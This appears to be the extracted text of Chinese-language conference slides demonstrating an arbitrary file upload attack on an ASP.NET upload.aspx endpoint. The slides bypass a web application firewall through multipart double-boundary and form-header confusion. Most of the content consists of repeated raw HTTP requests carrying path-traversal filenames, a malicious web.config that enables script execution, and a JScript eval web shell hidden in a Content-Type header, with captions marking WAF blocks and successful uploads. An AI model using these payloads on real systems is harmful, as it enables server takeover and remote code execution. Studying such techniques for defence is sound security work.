--x
Content-Disposition: form-data; name="file"; x=filename="1;/../web.config"
Content-Type: text/plain

DEVCORE
--x--

後端看到



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; x=filename="1;/../web.config"
Content-Type: text/plain

<?xml version="1.0"?>
<configuration>
   <system.webServer>
      <security> 
         <requestFiltering allowDoubleEscaping="true" /> 
      </security>
      <handlers accessPolicy="Read, Execute" />
   </system.webServer>
</configuration>
--x--

200 ok 

成功上傳 web.config

上傳完整 web.config



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx"
Content-Type: text/plain

<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>
--x--

403 被 WAF 阻擋

上傳完整 Web Shell



我就知道會這樣

部分畫面 
僅公布於研討會



1.確定前後端 boundary 解析不⼀致 

2.確定寫檔路徑可繞，剩內容需要繞 

3.可以塞壞東⻄在 Form header



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="x";

1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

--y:--
--x--

Double Boundary



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="x";

1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

--y:--
--x--

後端 認 y:

後端的視野



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="x";

1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

--y:--
--x--

後端 認 y:

成功跳脫路徑



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="x";

1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

--y:--
--x--

後端 認 y:

成功寫入的內容 



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="x";

1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

--y:--
--x--

WAF 的視野

WAF 認 x



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="x";

1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

--y:--
--x--

必須同時是 x 和 y: 的 form header

WAF 認 x



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="x";

1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

--y:--
--x--

WAF 認為 --y: 是 x form 中，沒 value 的 header
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POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="x";

1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

--y:--
--x--

成功上傳 Web Shell



POST /upload.aspx HTTP/1.1
Host: devco.re
Content-Type: multipart/form-data; BOUNDARY=y:; boundary=x;
Content-Length: (auto)

--x
Content-Disposition: form-data; name="x";

1
--x
--y:
Content-Disposition: form-data; name="file"; x=filename="1;/../shell.aspx";

--x
Content-Disposition: form-data; name="foo";
Content-Type: <%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

--y:--
--x--

Success

form header confusion

Content-Type mutation

調 查 結 算

任意檔案上傳

double boundary
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• 畢竟前後端點本身就不一樣
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